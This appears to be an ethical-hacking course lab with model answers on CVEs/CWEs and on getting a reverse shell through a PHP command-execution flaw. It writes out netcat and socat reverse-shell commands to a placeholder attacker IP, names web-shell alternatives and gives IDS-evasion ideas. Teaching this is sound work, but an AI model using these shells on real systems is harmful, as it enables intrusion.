

Lab questions 202406

Question 1 - 1x

Objective: This exercise aims to test students' high-level understanding of vulnerabilities and where/how to look for exploits.

Reference lesson:  ETHL 0x01 - Vulnerabilities.pdf

Question

1. Describe, with as many details as you can, what are CVEs and what are CWEs.
 2. Describe one way to map vulnerabilities of externally reachable services of a target machine T.
 3. Where would you search exploits for known vulnerabilities identified during your security assessments?
-

Answers

CVEs

CVEs (Common Vulnerabilities and Exposures) are identifiers for publicly known cybersecurity vulnerabilities. Managed by the MITRE Corporation, the CVE system provides unique, standardized identifiers for vulnerabilities in software and firmware.

CVE entries includes:

- CVE ID: A unique identifier in the format CVE-YYYY-NNNN.
- Description: A brief summary of the vulnerability, including affected systems and potential impact.
- References: Links to detailed information, advisories, patches, and tools related to the vulnerability.
- Severity Score, calculated with CVSS

CWEs

CWEs (Common Weakness Enumeration) categorize common software and hardware weaknesses that can lead to vulnerabilities.

Unlike CVEs, which are specific instances of vulnerabilities, CWEs are more general and describe the underlying issues that cause vulnerabilities. Managed by MITRE, CWEs are organized hierarchically and include:

- **CWE ID:** A unique identifier for the weakness.
- **Name:** The name of the weakness.
- **Description:** A detailed explanation of the weakness, how it can be exploited, and its potential impact.
- **Examples:** Real-world instances where the weakness has been exploited.
- **Mitigations:** Recommended measures to prevent or mitigate the weakness.

To map vulnerabilities we can use, for instance, nmap with the vulners script, as we have seen in class.

Exploit db, web search, or tools like Metasploit can be used to identify exploits for known vulnerabilities identified.

Question 2 - 1.5x

Objective: This exercise aims to test students' understanding and practical skills in creating and interacting with reverse shells for remote access, as discussed in the lecture on remote access. Students will demonstrate their understanding of flaws exploitation, remote access, and their ability to create and use a reverse shell using tools like Netcat, and as a stretch goal, you will encrypt the reverse shell using Socat.

Reference lesson:  ETHL 0x02 - Remote Access.pdf

Question

Scenario:

During your assessment, you discovered a flaw in a web service running PHP on the target machine (T). This bug allows executing shell commands on the target machine T.

After some testing, you realize that there is a firewall protecting T, which blocks any inbound connections to ports apart from 443 and 80. Outbound connections from T to the internet are possible.

You want to get an interactive session (shell) on T to further analyse the escalation and pivoting opportunities.

Primary Task:

1. Describe how you would go about creating a shell to interact with the target machine T.
2. What tools would you use to do so? Assume you have these tools available to you on T, describe how you would use them.
3. Now assume you won't have those tools already available. What would you do?

Secondary Task (if you complete the primary task):

In addition to what is described in the scenario above, consider the following scenario: you have enough evidence that an intrusion detection system (IDS) is used to protect the target infrastructure. This IDS passively reads network traffic and can detect suspicious traffic, such as when shell commands or sensitive files are present in the network traffic.

1. Describe how you would go about creating a shell to interact with the target machine T without getting detected by the IDS.

Note: It is not strictly necessary to describe the commands or specific command syntax needed, but try to be as precise as possible. From your description, it should be clear what elements you need to get undetected by the IDS and the reason why the IDS won't be able to detect the traffic.

Answers

Primary Task - Netcat Reverse Shell

Steps and commands

On the attacker machine, set up a listener on any port. Since the firewall on T allows any outbound connection, we can use for instance:

```
nc -lp 8123
```

On the target machine T (using the web service flaw to execute shell commands):

```
mkfifo /tmp/f; nc <attacker_ip> 8123 < /tmp/f | bash > /tmp/f
```

- `mkfifo /tmp/f`: Creates a named pipe (FIFO) file.
- `nc <attacker_ip> 8123 < /tmp/f`: Initiates a connection to the attacker's IP on port 8123, using the FIFO file as input.
- `| bash > /tmp/f`: Pipes the output of bash into the FIFO file.

Explanation and connection establishment

- The reverse shell works by connecting from the target machine to the attacker machine. Once the connection is established, the attacker can execute commands on the target machine as if they had a local terminal.

If the tools mentioned are not available, there are a couple of options:

1. Only rely on things that are certainly available: bash (see alternatives below) or PHP (we know the web service uses PHP)
2. Upload the tools using the flaw in the web service, e.g., via curl or wget. If needed, statically compiled binaries can be used.

Alternatives

- socat
- pure bash, using the /dev virtual filesystem (/dev/tcp/<address>/<port>)
- PHP web shell, uploading a malicious PHP file
- PHP command (one liner using the PHP CLI)
- UDP shells with all the above methods, assuming UDP protocol is allowed by the firewall

Secondary Task - Socat Encrypted Reverse Shell

Description

To avoid being detected by the IDS we could use encryption.

In order to do that, we need to generate a x509 certificate on our attack machine (self signed is enough) and then listen for incoming connections for instance using socat and the generated certificate.

On the target machine T we can also use a tool like socat to establish an encrypted reverse shell towards our attack box.

Steps and commands (not strictly required by the question)

On the attacker machine, generate an SSL certificate.

This command creates a self-signed SSL certificate and key pair, combining them into a single PEM file for use with Socat.

```
openssl req -newkey rsa:2048 -nodes -x509 -keyout shell.key -out  
shell.crt
```

```
cat shell.key shell.crt > shell.pem
```

Start a secure listener on the attacker machine:

```
socat OPENSSL-LISTEN:8124,cert=./shell.pem,verify=0 FILE:`tty`
```

This command starts Socat with SSL encryption, listening on port 8124, using the PEM file for the SSL certificate, and linking the connection to the terminal.

On the target machine T (using the web service flaw to execute shell commands):

```
socat OPENSSL:<attacker_ip>:443,verify=0 EXEC:bash,stderr
```

This command initiates an SSL-encrypted connection to the attacker machine, executing a bash shell.

Other ways (just some examples):

- Encoding: maybe double or triple encoding can do the trick too.
- Packet fragmentation (not seen in class): fragment packets in a way that it's hard for an IDS to detect potentially dangerous commands or sensitive files. BUT detection could still be possible with stateful IDSes. Moreover, arbitrary fragmentation of C2 traffic requires admin privileges.